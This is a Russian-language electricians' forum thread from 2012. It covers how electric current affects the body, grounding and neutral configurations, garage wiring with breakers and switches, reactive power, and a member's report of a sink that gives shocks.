Версия для печати темы

Автор: Торонага 16.6.2012, 0:45

Voldemar, да-да. всегда верил, что процессы направленного движения заряженных частиц круто замешаны на магии.
кстати о неизменности ПУЭ, на моем веку (с сентября 1979г. по март 2002г) они претерпели минимум 4 крупные, если не глобальные, изменения (две редакции и 2 больших изменения-дополнения), и это ВСЕГДА касалось вопросов защитного заземления и зануления. Молчу уже о всяческих научно-теоретических разработках, монографиях-диссертациях, инструктивно-директивных материалов надзорных органов и т.п.

Автор: Доктор Франкенштейн 16.6.2012, 18:22

Итак, друзья...
Ни для кого не секрет, что пропади электричество из нашего устоявшегося обихода и всё - армагедец...
И что есть люди, которые, по роду деятельности своей, работают как раз с этой опасной и неустойчивой, весьма загадочной энергосубстанцией...
Изначально тред был задуман для общения коллег, тематический такой тред, но, учитывая некоторые моменты, решено тему несколько переориентировать для широких масс...
Изначально будет небольшая теоретическая часть, которая будет пополняться...
Первое включение об опасности электричества:
С детства нас учат, что не следует прикасаться к оголённым проводам, совать пальцы в розетку и т.п. Это первые уроки безопасности при обращении с электричеством, которые мы получаем...
А, собственно говоря, чего оно, это электричество, дерётся-то?..Чего мы ему такого сделали?..
Всё достаточно просто - человеческая кожа плохой диэлектрик и поэтому контакт людей с электричеством, как правило, заканчивается всевозможными травмами и летальными исходами. Испугались?..Не следует. Электричество не прощает фамильярности, требует безусловно уважительного отношения. И тогда с ним можно дружить...
Итак, начнём...
Внешними факторами поражения электрическим током человека, являются: величина проходящего через тело тока, , продолжительность воздействия, род тока (постоянный, переменный), его частота и ещё ряд факторов. От самого человека также зависит исход поражения. На это влияет сопротивление человеческого тела.
Сопротивление тела зависит от состояния организма, кожного покрова, его влажности, эмоционального состояния, нахождение в состоянии алкогольного опьянения и т.д.
Рассмотрим влияние токов различной величины на организм человека...
Обычно человек способен ощущать действие переменного тока частоты 50 Гц уже величиной 0,6 - 1,5 миллиампер и 5 - 7 миллиампер - постоянного. Это значение электрического принято называть - пороговый ощутимый ток. Токи большей величины способны вызывать непроизвольные сокращение мышц и довольно болезненные ощущения, что с увеличением тока усиливаются, воздействуя на всё большие участки тела.
Стоит помнить, наверное, что постоянный ток в 4 - 5 раз безопаснее, чем переменный. Но это относится к напряжениям до 250 - 300 В. Хотя, экспериментировать я бы не советовал...
При значениях переменного тока в 10 - 15 мА и постоянного тока 50 - 80 мА, боль становиться уже крайне ощутимой, а сокращения мышц человека приобретает состояние непреодолимости. В результате, человек не способен самостоятельно разжать свою руку, в которой находится токоведущий проводник с напряжением. Такие токи именуют не отпускающими.
Переменный электрический ток с силой в 25 - 50 мА (50 Гц) действует на мышцы не только рук, а также и туловища, где наиболее опасной зоной является грудная клетка. В этом случае происходит сильное затруднение дыхания. Длительное воздействие может вызвать даже полное прекращение дыхания, после чего наступает смерть от удушья.
Переменный электрический ток от 50 мА и до 100 мА ещё быстрее сбивает нормальную деятельность http://click02.begun.ru/click.jsp?url=P0yJx311dHWmiBtipBl2HjOcWSSByMnPif2lS91K4n63KoARUd7eQAQm8J-CiQ91r5VT*bSJ*FFf9bcS4gqwvmuxIK0ZoxwIzckfljhD42sFyzBBrhUjlr9m1A0aHfNxbh*kv7h2AwgwzzRQ1JFMS*krLJmLEzOiKxQfMfSysUmHG4Sh9510xLduiQ-XwPrJnmdfAAJcJR3y5U2jBJMiQglD-2H6BytyubgHfzveq92AmSVL7eDUa9rAWYD4FBHVMfgHzcSPtx*xlvdpX0a8VQAL2AIakT*slmRlvECXOMd9MQa-rX8CC4VY8Eb-PVJzCuzBs4T8k7ZUyoOk5DI0P-soAyXI*53iVRrFOJJD*KqSYRc2lL6O7Xj6zn2JODENxZqD*aN2NpV8uWcRu5JkBG*yKgIpKLzsSEJAuSVQGTvDJYGm&eurl%5B%5D=P0yJx2FgYWD-QRE3M1fLDmJ5WUbNGmKkkucBd6nM7ikHh5vH и лёгких. При этом значении, как, и при меньших токах, первыми поражаются лёгкие, а за ними и сердце.
Переменный, от 100 мА до 5 А и постоянный от 300 мА до 5 А первым делом воздействуют на сердечную мышцу, вызывая хаотичное сокращение сердечных волокон. При этом сердце перестаёт качать кровь, хотя и трепыхается...кровообращение в организме прекращается, возникает недостаток кислорода, что впоследствии приводит к остановке дыхания и клинической смерти. Если в течении 5-7 минут не реанимировать человека, то клиническая смерть переходит в постоянную.
Электрический ток с силой более 5 Ампер, обычно не вызывает тех самых хаотических сокращений http://click02.begun.ru/click.jsp?url=P0yJx311dHWmiBtipBl2HjOcWSSByMnPif2lS91K4n63KoARUd7eQAQm8J-CiQ91r5VT*bSJ*FFf9bcS4gqwvmuxIK0ZoxwIzckfljhD42sFyzBBrhUjlr9m1A0aHfNxbh*kv7h2AwgwzzRQ1JFMS*krLJmLEzOiKxQfMfSysUmHG4Sh9510xLduiQ-XwPrJnmdfAAJcJR3y5U2jBJMiQglD-2H6BytyubgHfzveq92AmSVL7eDUa9rAWYD4FBHVMfgHzcSPtx*xlvdpX0a8VQAL2AIakT*slmRlvECXOMd9MQa-rX8CC4VY8Eb-PVJzCuzBs4T8k7ZUyoOk5DI0P-soAyXI*53iVRrFOJJD*KqSYRc2lL6O7Xj6zn2JODENxZqD*aN2NpV8uWcRu5JkBG*yKgIpKLzsSEJAuSVQGTvDJYGm&eurl%5B%5D=P0yJx2FgYWD-QRE3M1fLDmJ5WUbNGmKkkucBd6nM7ikHh5vH, потому что при таких значения тока сразу происходит полная остановка http://click02.begun.ru/click.jsp?url=P0yJx311dHWmiBtipBl2HjOcWSSByMnPif2lS91K4n63KoARUd7eQAQm8J-CiQ91r5VT*bSJ*FFf9bcS4gqwvmuxIK0ZoxwIzckfljhD42sFyzBBrhUjlr9m1A0aHfNxbh*kv7h2AwgwzzRQ1JFMS*krLJmLEzOiKxQfMfSysUmHG4Sh9510xLduiQ-XwPrJnmdfAAJcJR3y5U2jBJMiQglD-2H6BytyubgHfzveq92AmSVL7eDUa9rAWYD4FBHVMfgHzcSPtx*xlvdpX0a8VQAL2AIakT*slmRlvECXOMd9MQa-rX8CC4VY8Eb-PVJzCuzBs4T8k7ZUyoOk5DI0P-soAyXI*53iVRrFOJJD*KqSYRc2lL6O7Xj6zn2JODENxZqD*aN2NpV8uWcRu5JkBG*yKgIpKLzsSEJAuSVQGTvDJYGm&eurl%5B%5D=P0yJx2FgYWD-QRE3M1fLDmJ5WUbNGmKkkucBd6nM7ikHh5vH. Далее, паралич дыхания и...клиническая смерть. Если воздействие электрического тока было кратковременным (до 1 - 2 секунд) и не повлекло остановку сердца (в результате ожога, нагрева и т.д.), то после прекращения действия тока, сердце, обычно, само возобновляет свою работу. А дыхание — нет. И поэтому необходима неотложная реанимация в виде искусственного дыхания.
Важным фактором поражения электрическим током является путь прохождения этого тока по телу человека. Есть несколько таких путей: «рука-рука», «рука-нога» (левая-правая я расписывать не буду и так всё понятно), «голова-рука», «голова-нога», «нога-нога»...Если на данном пути находятся жизненно важные органы – лёгкие, сердце, головной и спинной мозг, то поражение становится очень опасным, так как действие тока ведёт к нарушению их работы.
Будьте внимательны не только при производстве работ, но и при эксплуатации электроприборов...Ну что стоит проверить целостность провода/кабеля перед включением? Минутная затея, а хлопот поможет избежать...
Помните: каждый форумчанин форуму нужен...

Автор: Доктор Франкенштейн 16.6.2012, 18:37

Безусловно соглашусь...НТД менялись и дополнялись неоднократно...То разрешалось, то запрещалось...Но требования по заземлению, в их качественных параметрах, как мне помнится, так и остались "не более 4 Ом" для общего класса потребителей...Повторное для ВЛ, если память не подводит - не более 10 Ом и для специализированных объектов медучреждений - не более 2 Ом (тут могу напутать, бо всё из головы, а она одна, всё не упомнишь )...
А ещё могу предложить сборник НТД различного плана...чего там только нет!..Только даже в архиве он весит порядком...Называется "Энерго-2007"...Ну да, не нов...Да только за последние 5-ть лет основные НТД остались пока неизменны...Надо подумать (если кому надо, конечно), как передать информацию...

Автор: Юзер 16.6.2012, 19:50

Пригодится , разумеется . Лето на Колыме - самый активный сезон для монтажей. Лучше при этом сверяться с правилами , не терзая вопросами коллег. Размещение свежей инструктивной информации вполне будет уместным в архивах возле эксплуатационно - ремонтной документации на автомобили. Лично я нигде пока не могу найти ПТЭ и какой - либо инструктивной информации по монтажу и эксплуатации устройств беспроводной передачи электроэнергии на дальние расстояния . Опыты по ней проводил ещё Тесла (есть сторонники версии , что на Тунгуску не метеорит упал, а один из таких опытов прошёл неудачно); за сто лет разработки , вроде ,вышли уже на промышленное внедрение. Догадываюсь , что и красных флажков монтажникам и эксплуатационникам таких устройств наши чиновники уже понавешали. Если знаешь , где инструктивный материал можно хотя бы найти ( лучше вместе с текстами , но тут уж не до жиру) - забрось , плыз, на форум адреса , где они в сети выложены.


Где у вас - без малейшего понятия. А у моих заказчиков - на Колыме ( это в РФ ).

Автор: motk 16.6.2012, 21:07

объясните (раз уж тему завели) в чем разница между землей, нулем, глухозаземленная нейтраль, и еще есть ноль который вместо земли.

Автор: Voldemar 16.6.2012, 21:36

motk, если совсем коротко, "по народному":

заземление - для выравнивания и снятия потенциала
зануление - для защиты от пробоя на корпус прибора-потребителя (ну и потенциал снимает тоже)
ноль рабочий - через который непосредственно идёт ток-нагрузка

Глухозаземлённая нейтраль - нолём-кабелем/проводом связаны все звенья передачи электроэнергии
Изолированная нейтраль - между трансформаторами только фазы, конечный тр-р имеет свою заземлённую нейтраль

Более детально - всё сложнее, в рамках темы объяснить проблематично и проще дать названия литературы, начиная с ТОЭ  
Особенно -  с заземлением... Сетевики, если что - более подробно смогут объяснить...
Я - на всём протяжении только эксплуатационщиком-оперативщиком по низкой стороне в основном...

Автор: HILANDER 16.6.2012, 23:17

Собираюсь заменить полностью счётчик и монтажный шкаф в гараже.
Можно ли там с автоматами поставить и выключатели освещения?
или так нельзя? делать?
как правильно тогда ставить выключатели? прямо к стене прикручивать или на что-то?
просто подумал вдруг гидроизоляция не выдержит и выключатели зальёт - а так они в коробке, в сухости.
после счётчика вводной автомат 50, розетки 25, лампы по 10 вроде.
сам шкаф и счётчик брать можно любой или какие то есть не очень?

Автор: Торонага 16.6.2012, 23:29

ДФ, да я как бы не против, но пока не пойму чего здесь будем обмозговывать.
Гидр уж не знаю чего натворил, что его лишили голоса. Боюсь теперь тоже не в струю ляпнуть.

motk, попробую дополнить (сейчас только еще больше запутаю ).
Чтобы ощутить разницу между "глухозаземленным" и "изолированным", надо понимать откуда мы получаем электроэнергию. Не изначальную, конечно, но хотя бы вот эти наши три фазы. Или от генератора переменного тока, или от трансформатора его же. Полюсов (катушек) в обмотке одного класса напряжения - по числу фаз(в нашем случае 3(три)). Соединяться промеж собой могут всего двумя основными способами - "треугольник" и "звезда". Есть еще их вариации "зигзаг" и "разомкнутый треугольник", но нам пока это не важно.
В случае "треугольника" нейтральной точки не существует, в случае "звезды" концы катушек всех фаз соединяются в одну точку. Это и есть нейтраль.
В случае одинаковости протекающих по фазам токов и одинаковости напряжений на началах обмоток в этой точке измерительные приборы покажут 0 вольт и 0 ампер.
Если напруги-токи неодинаковы, то получается смещение нейтрали и в точке соединения появляется потенциал, если нагрузка "плавает", то и потенциал нейтрали тоже будет переменным.
Если с трансформатора в потребительскую сеть подается не три, а четыре провода (один с нейтрали), то эта сеть будет называться четырехпроводной с изолированной нейтралью. Это на данном этапе означает, что нулевой провод использовать в качестве защитного заземления нельзя, в качестве "рабочего нуля" - можно. Для защитных дел требуются доп. меры.
Что делать, чтобы нейтраль оставалась неизменно нулевой? Правильно, закрепить в ней нулевой потенциал принудительно наглухо, соединив с контуром заземления или заземляющим устройством. Тогда наша сеть мгновенно превратится в четырехпроводную с глухозаземленной нейтралью. Нулевой провод при определенных условиях можно использовать в качестве защитной меры.

Примерно так я это понимаю, бывшие коллеги поправят и уточнят, если я чего по скудоумию накосячил.


HILANDER, прости, брат, из-за глюков форума моя мессага опубликовалась позже твоей не думай, что я намеренно помешал твоей.

Автор: Юзер 16.6.2012, 23:48

Теоретически можно, но определять нужно , видя всё собственными глазами , особенно если хозяин гаража - не ты.

Автор: elmont33 17.6.2012, 0:12

Ничего , что я тут со своими микроскопными траблами....Сколько ни пытаюсь, так и не получается узреть движение частиц....А вопрос меня гложет еще со школы....почему элктроны движутся от - к +, а на схемах рисуют направление тока от + к - ....и , если электроны движутся внутри источника от - к + , то что и куда движется по внешней цепи....и еще....как по прямым проводам ток движется по траектории синусоиды ? ну это уже шутка...

Автор: Торонага 17.6.2012, 0:52

elmont33, с какой целью интересуешься?
рисование направления тока на схемах, думается, это условность, дань традиции. Видимо, первые теоретики сперва ж рисовали примерную схему, не зная еще какими именно зарядами создается ток. Так и привыкли, а чтобы графическая часть более поздних разработок не вступала в противоречие со старыми, оставили все как есть на схемах. Кстати, электронами ток создается в металлах, а для жидкостей и газов он может создаваться и положительно заряженными частицами, тогда направление будет другое, как на схемах.

внешняя-внутренняя, это интересно, конечно. Цепь замкнутая, так? подразумевается неизменность величины и направления тока, правильно? Значит, если по твоим условиям, электроны во внешней цепи ползут от минуса к плюсу, то в источнике они же обязаны плыть от плюса к минусу. На первый взгляд нонсенс.... если забыть о природе источника. Это или электрохимический вариант, где перенос частиц не настолько примитивен; либо это машинный генератор, где опять-таки процесс создания переизбытка электронов на отрицательном полюсе намного сложнее, чем примитивно представлено на схемах.

про синусоиду. движутся они по круговой орбите, но растянутая по времени она как раз и представляет собой синусоиду.

Автор: rusinchic 17.6.2012, 1:29

тема превращается в сильно заумную.это конечно всё интересно и я тоже узнаю и вспоминаю много интересного,но давайте спустимся на землю и будем ближе к народу.будем отвечать ясно для не спецов и конкретно на поставленные вопросы,а то мы отпугнём людей.тема важная и очень полезная для всех,т. к. без искричества в наш век никак.
HILANDER, я считаю :можно поставить выключатели в основном щитке,щиток монтируй на не горючем материале(метал,текстолит),автоматы выбрал правильно основной лучше 40А,счетчик- 40-50 Амперный,нового образца(класс точности-2,обрати внимание на поверку),шкафы продаются в светотехнике,тринитроне,уюте.

выключатели можешь поставить даже снаружи щитка( с боку),так удобней.

Автор: Доктор Франкенштейн 19.6.2012, 9:55

Итак, тема несколько переориентирована и вновь открыта.Первый пост дополнен.Понимаю, что много букв читать лениво, но рекомендую всё же прочесть и в дальнейшем (информация будет пополняться) тоже читать, прежде чем писать...Не особо хотелось бы в треде давать курс школьной физики, поскольку каждый способен сам такую информацию найти. Раз уж было решено посвятить тему прикладным вопросам, в большей мере, то давайте ими и заниматься...

Возражу, пожалуй...
Ситуация: пришёл в гараж, темно, полез в щиток к выключателю, встрял пальцем не туда...Взбодрился, матюгнулся, полез снова?..Это реальные моменты, не предполагаемые...

Этот вариант, на мой взгляд (и тех, кому я делал по такой схеме), куда рациональнее и, главное, безопаснее...

Автор: MIB 19.6.2012, 10:28

Я когда в мореходке учился на Радиотехническом факультете, то при изучение предмета под названием Электротехника, схемы читались в одну сторону, а при изучении потом уже Электроники, другой преподователь нас учил читать те же схемы в обратную сторону. Когда после окончания пришел работать на одно судов Магаданрыброма, стал свидетелем давнишнего спора электрика и радиста по поводу чтения схем и когда я их померил, сказав что они оба правы, только учились на разных факультетах, то от обоих получил благодарность в виде пузыря с шилом.

Автор: elmont33 19.6.2012, 11:19

Ладно...только не смейтесь...у меня такой пробел в голове : до розетки в квартире электричество приходит уже с подавленной реактивной составляющей или....или вот те кондерчики, что в дрелях и болгарках по 220В стоят ее и давят....или они только помехи давят от движков...?

Автор: Voldemar 19.6.2012, 12:18

Реактивная составляющая вобще-то не приходит, а наоборот - "уходит от розетки", в зависимости от нагрузки, в неё включеной...


Конденсаторы могут иметь разное назначение...

В коллекторных двигателях - фильтруют помехи, в идеальном варианте используются вместе с индуктивностями (дросселями) образуя ВЧ-фильтр...

В безколлекторных однофазных - для сдвига фаз и пуска двигателя... 

Это из того, что ещё осталось в памяти...



В старых люминисцентных светильниках на дросселях и стартёрах - как раз компенсируют реактивную составляющую от индуктивной нагрузки дросселя...

Кстати, о прикладном использовании темы: если в квартире особого значения не имеет наличие реактивной нагрузки, ибо счётчики всё равно её не считают, то, к примеру, пользуясь на даче электроэнергией от бензогенератора, можно сократить расходы бензина как раз включением компенсационных конденсаторов при наличии существенной индуктивной нагрузки в ваших устройствах... 

Автор: elmont33 19.6.2012, 14:52

Хм...че с пробелом не жилось спокойно....

Автор: Voldemar 19.6.2012, 15:00

Если чё, у меня есть техникумовский курс отсканеный в джипеге, 2.5 гига... Могу подбросить...


Там немного, 15 основных учебников в основном по "силовой" и промышленной части... 

Но если будет желание, то можно будет добавить по электронике, КИПиА и прочие остальные... 

Автор: Доктор Франкенштейн 19.6.2012, 16:40

Пока в розетку ничего не включено, никакая мощность, ни активная, ни реактивная не потребляется...

Смысл понятен, но она не совсем уходит (или я просто недопонял смысл)...Она так же потребляется из сети, являясь составляющей полной мощности...Затрачивается на электромагнитные процессы в нагрузке...Это, по сути, паразитное явление, относимое к разряду технических потерь, поскольку полезной работы не выполняет, только гадит, но увы...это неизбежное зло, вынуждающее и проводники с бОльшим сечением использовать, и источники тока помощнее... Компенсация реактивной мощности реализуется несколькими методами, в том числе и применением конденсаторов...
А в бытовом электроинструменте с коллекторными двигателями, как выше уже отметил коллега Voldemar, установлены помехоподавляющие устройства...

Автор: D-imon 19.6.2012, 16:44

Тема раз про липизд...во...мне нужен полевой транзистор IPRF064N и термопредохранитель 2А 130 градусов. Не могу в городе найти нигде. Ближайшее - ЦРС.
Но т,к. щас нахожусь в ЧАО, то посылкой никак...придет - меня нет) Где купить в городе по приезду в конце июля?

Автор: Voldemar 19.6.2012, 16:48

Ну, я по народному и объяснил (ну, попытался ), что она не приходит с "электричеством" со стороны источника, а "появляется" со стороны нагрузки...

 

Не знаю, как сейчас, но раньше в Радиолинке можно было подобное заказывать по каталогу...

Автор: D-imon 19.6.2012, 16:51

А телефон есть Радиолинка вообще?

P.S.
Все, нашел. Спасибо. Уже списался с ними

Автор: Доктор Франкенштейн 19.6.2012, 16:56

Voldemar, ну я и говорю, что просто недопонял аллегории...

Автор: owl 19.6.2012, 23:15

родители у меня, насмотрелись тв и купили "энергосберегающее устройство", которое вроде как улавливает эти реактивные токи и направляет во благо...
хочу увидеть мнение на эту тему, мне кажется это "устройство" ерундой, но знаниями подкрепить это не могу

Автор: Торонага 19.6.2012, 23:20

owl, http://am49.ru/talk/index.php?showtopic=72817

Автор: HILANDER 20.6.2012, 0:53

Доктор Франкенштейн, а как их правильно и вообще как закрепить выключатели на ящике снаружи? просто бывает конденсат на стене и выключатели просто на стене намокают, что не хорошо.

про искать в потёмках выключатели в шитке я тоже подумал

Автор: motk 20.6.2012, 0:57

HILANDER, думаю есть герметичные выключатели, и как вариант детектор движения

Автор: dissector 20.6.2012, 1:00

есть схема со светодиодом, когда включатель - выкл, он светит, когда вкл-нет. а светит он когда нет света.

Автор: Торонага 20.6.2012, 1:06

HILANDER, наивность скажу, но все же.... если будешь ставить влагозащищенные, не забудь располагать их так, чтобы ввод проводов был снизу, иначе грош цена влагозащищенности.

Автор: HILANDER 20.6.2012, 2:22

вообщем ставить под шиток и на какую-то негорючую проставку?

Автор: Торонага 20.6.2012, 3:22

HILANDER, ставить надо, где удобно и безопасно включать-выключать. Если такое место под щитком, то ставь там.
на негорючую (по правилам) и изолирующую (для собственной безопасности), особенно если, сам говоришь, влажность повышенная.

Автор: HILANDER 20.6.2012, 10:12

Торонага, а что это для примера может быть? просто деревянный брусок или что типа текстолита?

Автор: Торонага 20.6.2012, 10:29

HILANDER, текстолит или гетинакс - лучший выбор, за неимением когда-то применяли и паронит. Дерево, намокнв (отсырев) становится проводником.
пойдет и металлическая пластина, если она покрыта изолирующим материалом, слоем краски, к примеру.

Автор: elmont33 20.6.2012, 10:30

Давай !

Автор: Voldemar 20.6.2012, 10:37

Если гараж каменный/кирпичный - негорючесть не играет роли...

Просто на любую влагостойкую "проставку, можно на металлическую скобу/кронштейн - главно от стены расстояние создать, чтобы конденсат не затекал...

Ещё проще, как и говорили - на боковую сторону щитка, со стороны двери... И монтаж лишний не надо будет вести, прямо в щитке (через просверленное отверстие под выключателем) и разводку на светильники сделать...
Если выключатель "в коробке" - прикручивать сразу к пластине/щитку...
Если без задней стенки - то под него любую прокладку из диэлектрика

Если конденсат часто - лучше действительно, влагопылезащищённого исполнения выключатель поставить.

Кстати, если щиток сразу у ворот - можно вобще без выключателя обойтись, включать автоматом - это нормальная практика для гаражей, мастерских и т.п....
Естесственно - щиток должен быть "правильным" - независимо от наличия дверцы, закрытый передней стенкой с вырезом под автоматы...
Прямо на нём же можно при желании и подсветку светодиодную сделать... 

Автор: motk 20.6.2012, 10:59

а еще лучше от влаги избавится . она не только электричеству мешает.

Автор: Доктор Франкенштейн 20.6.2012, 12:28

Это порочная практика...Автомат защиты не предназначен для регулярных циклов включения/выключения...Его функция - защита цепи...То, что советские автоматы серий А,АЕ,АП использовались подолгу, как выключатели, так это только за счёт конструктивных матералов...Качество, понимаете ли, что бы кто не говорил про "совок"...Нынешние ВА-шки, да и другие типы автоматов, в плане выносливости - дрянь...Знакомые как-то затеяли тоже автоматами выключать всё на объекте, так автомата два-три (из 10-ти примерно) в месяц менял, пока не переделал схему через коммутационный аппарат...Так что, выбирать владельцу...
А выключатель прямо на боковую стенку щита(как советовали выше) и удобно(на мой взгляд), и рационально...
Ну и озадачиться вентиляцией не лишне, чтоб влагу не хранить в гараже...

Автор: Voldemar 20.6.2012, 12:39

 

С этим - даже не спорю...
Ещё когда практиковал активно с шабашками, после того, как вылетело три из четырёх, кажись ДЭМ (точно не помню), наши больше не беру...
ЧиФы ещё были неплохие, сейчас не знаю, ибо юзаю теперь только ABB или Легран...

Ну а так - лет десять в гараже общее освещение включаем/отключаем АП-шкой каждый день утром и вечером...



Ну, в энергетике, как и с ПДД...  Есть те правила, которые нарушать категорически нельзя, а есть те, которые нельзя, но если никому не мешаешь, и не связано с риском - то можно...


Ну и время некоторые меняет... Раньше, например, минимальное расстояние от розетки до заземлённых частей было лимитировано...

Сейчас об этом мало кто вобще вспомнит...

Автор: Юзер 20.6.2012, 12:43

Можно, не мороча себе голову , смонтировать схему на переключателях , а не на выключателях . Тогда включать/гасить один и тот же светильник можно будет из разных точек гаража.

Автор: Доктор Франкенштейн 20.6.2012, 13:34

АП-шкой!.. Она внутри железная...
А про Легранды и прочее...Мне и легранды с контузией попадались...Нынешние: ЧИФ, ДЭК, ИЭК, ЭКФ, ТДМ - лотерея...Хотя ТДМ и ЭКФ мне пока не попадались явно бракованые...На нагрузочном стенде правда не проверял...

Автор: Voldemar 20.6.2012, 13:34

Ну и ещё в догонку, раз уж затронули сей момент... Т.с. - в развитие темы...


Вопрос в том, что если ПТБ - это святое, они написаны зачастую кровью и жизнями, и посягать на них действительно грех, то ПУЭ и ПТЭ - весьма относительны, особенно учитывая существенный скачок в развитии промышленности после 90-х... Поправки к ним просто не всегда успевают за прогрессом...

Да и составлены часто бывают наспех, для галочки, без учёта практики и экономической составляющей...

К примеру: во второй половине 90-х, когда широко стала применяться система с занулением, энергонадзор выставлял требования - зануление от каждой розетки или потребителя должно быть неразрывным до ближайшего распредщитка!

Представляешь количество кабеля и провода и плотность монтажа?!

Сами понимая абсурдность этого, они тут же предлагали неофициально компромисс - не шлейфом, но хотя бы в группы собрать через коробки...

С автоматами в качестве выключателя - тоже вопрос неоднозначный...

По правилам - да, не предназначен... На практике - любой автомат на 16А (качественный) гораздо дольше проработает как выключатель нагрузки в 10А, чем даже качественный стандартный 16-амперный выключатель на той же 10-амперной нагрузке...

Его конструкция как раз больше рассчитана на искрогашение, именно в силу его назначения...

Автор: Доктор Франкенштейн 20.6.2012, 13:40

Юзер, можно, конечно, но насколько это целесообразно?..Если, скажем, два выхода из бокса, то да...А так-то:пришёл - включил, уходя - выключил...

Voldemar, то-то и оно, что неоднозначно...Я предпочитаю использовать вещи по их прямому предназначению...Ну, а за выключатель скажу, что качественный выключатель отрабатывает по три-четыре(и более) ресурса установленных производителем циклов без проблем...При номинальной нагрузке...Где его взять, при нынешнем качестве исполнения (как и автомат, впрочем) - другой вопрос...

Автор: Юзер 20.6.2012, 13:47

Решать , удобно ли - тому, кто будет всё это включать / выключать. Я такую схему обычно монтирую в таких случаях , когда заказчик и сам не знает, куда из нескольких мест ему лучше поставить выключатель. Ставлю во все эти места и тем самым прекращаю его сомнения.

Автор: Доктор Франкенштейн 20.6.2012, 13:53

Юзер, полностью согласен...Заказчик в праве получить то, что хочет...

Автор: Voldemar 20.6.2012, 13:54

 

Я таких пока не встречал вобще в природе...


Среднестатистический выключатель по указанным на нём характеристикам рассчитан на 10А...

Освещение, в большинстве случаев не доходит в группе даже до 500Вт - проблем обычно не возникает... Там же, где оно доходит до киловатта и выше и цикличность вкл/выкл хотя бы раз в сутки - приходится относительно регулярно менять практические любые, доныне мне попадавшиеся... 

Автор: Доктор Франкенштейн 20.6.2012, 14:11

Voldemar, ну, автомат, используемый как выключатель, какую-никакую, а дугу потягивает, получая все прелести этого фактора - электрокоррозию контактов...Как выключатель, учитывая, что номинальный ток у него выше, он послужит, а вот как автомат...В принципе(несколько утрируя), можно и автомат-сотку поставить на две лампочки...В теории - вечный аппарат получится... А вообще, на мой взгляд, автоматы мы используем от лени...Не желая заморачиваться ни с какими иными коммутационными аппаратами, кроме собственно автомата и бытового, по сути, выключателя...

Автор: Voldemar 20.6.2012, 15:04

 

Позволю себе не согласиться... Я смотрю на это как на более рациональное решение в определённых условиях и при определённом выборе оборудования...


Ибо не от лени или нежелания, а просто не выжу смысла на освещение ставить, к примеру, магнитный пускатель...

В обсуждаемом примере с гаражом в крайнем случае для меня оптимально - поставить на дин-рейку выключатель рядом с автоматами, такой в любом случае надёжнее обычного... Хотя на мой взгляд и это - лишнее...

Автор: Доктор Франкенштейн 20.6.2012, 18:55

Voldemar, вот поэтому я и хотел "узкую" тему создать...для коллег... Обсудить какие-то моменты, которые "до фонаря" остальным обсуждающим... Автомат, даже при прогнозируемой нагрузке (выше было обозначено) в пару кВт, без промежуточной контактной группы (пускатель, выключатель) жертвует своими контактами...Любая группа контактов расчитана на определённый режим работы и количество операций (вкл./выкл.), это и так все знают...Отключение "тянет" дугу, происходит электрическая эррозия контактов (токи-то небольшие, до дугового износа преувеличивать не буду)... Как следствие, рост переходного сопротивления...Дальше всё просто же...Автомат перестаёт "держать" даже номинальный ток...Если учесть, что 2 кВт на освещение (по количеству светильнику или их мощности, не важно) - это никак не уровень бытового помещения или индивидуального гаража, скорее, производственного, то значимость надёжного освещения вряд ли можно преувеличить...Итак, потребовал замены, пусть даже пускатель..Отключаем автомат и временно, минуя промежуточную групу контактов, соединяем проводники...Имеем как раз схему с автоматом в роли выключателя... Пока приобретаем (если нет в запасе, а так иногда тоже бывает), демонтируем старый и монтируем на его место новый пускатель, объект не испытывает проблем...Можно возразить, что и автомат легко меняется...Но есть ньюансы... Чтобы вывести в ремонт участок с автоматом, необходимо обесточить, как правило, весь блок автоматов (не так часто же ставят выделенный автомат, как правило, он идёт в одном щитке с собратьями)...Тогда не только света не будет, а зависнет ещё ряд потребителей...В случае отсутствия автомата и соединения "накоротко" имеем проблемы с селективностью...что может хлопот доставить...и опять же, при отключении (см.чуть раньше)...
Ну,это не для спора, это моё видение момента...основано на реальных событиях, происходивших в моей практике...

Автор: gesel 20.6.2012, 20:04

Андрей, не всегда правильное утверждение. Иногда желания заказчика противоречат нормативной документации.




Думаю, что неправильное утверждение.
Правильнее будет вот так:
ПТБ, ПУЭ, ПТЭ - это святое, т.к. нормы одних правил являются следствием других правил и наоборот.

Автор: Voldemar 20.6.2012, 20:06

 

Андрей, про автомат как выключатель в промышленно-производственных масштабах я даже мысли не держал...


Все вышеприведённые рассуждения касались объёмов только "гаражного" типа...

Автор: gesel 20.6.2012, 20:13

Всё-таки однозначный: автоматический выключатель предназначен для защиты кабеля.

Кстати, об автоматических выключателях: номинальный ток вовсе не означает, что выключатель именно его и выдержит. По нормативной документации при расположении автоматических выключателей в щитке с IP31 номинальный ток автоматических выключателей положено умножать на коэффициент 0,9, а при щитке с IP54 - на 0,8 (это связано с условиями охлаждения) и расчитывать их на полученный ток.
При этом производители автоматических выключателей рекомендуют не нагружать их более, чем на 0,8 от номинала.

Автор: Voldemar 20.6.2012, 20:45

gesel, не стоит искать проблемы там, где они не существуют...

Автор: Доктор Франкенштейн 20.6.2012, 21:40

Voldemar, дык то не проблемы, то действующие нормы эксплуатации...

Автор: Voldemar 20.6.2012, 21:48

Андрей, это-то и мне понятно... но, даже если ты заставишь меня поверить, что к монтажу в простом гараже ты подходишь, соблюдая нормативы по проектированию заводского цеха, нашпигованного электрооборудованием - я молча, деликатно, ничего тебе не высказывая, сочту это глупостью, и блажью человека, который не знает, куда бы ещё применить свои знания...  

Автор: Доктор Франкенштейн 20.6.2012, 22:33

Voldemar, так хоть тема и переориентирована, как бы, на массовость, но наши обсуждения (отнюдь не споры) меня лично, радуют...Я примерно такую тему и хотел...Получилось даже лучше, чем я предполагал...Бытовой потребитель даёт тему обсуждения, а нам только повод дай... Я вполне доволен результатом...
А гараж...ну что гараж...Ясно море, что я не сажусь за проект...но подбираю материалы и делаю, опираясь на действующие нормы...без фанатизма, конечно же...

Автор: elmont33 20.6.2012, 22:55

Ладно , парни...Для бытового потребителя, говорите....

Стал замечать, что раковина моя на кухне током херачит...Заметил, что бьется, когда босиком стою на полу ( деревянный пол в хрущевке с ленолиумом) . Как-то в мокрых тапках стоял, так яблоко не мог помыть : херачила прям струя воды.
Сегодня , как всегда, мою яблоко ребенку...Стою босиком....вроде ничего....и все-таки закололо, когда струя попала на рану на пальце....значит всеже есть какой-то потенциал....
Спросил жену....тоже говорит. что замечала....
Что можно предположить наиболее вероятное ?

Автор: Торонага 20.6.2012, 23:00

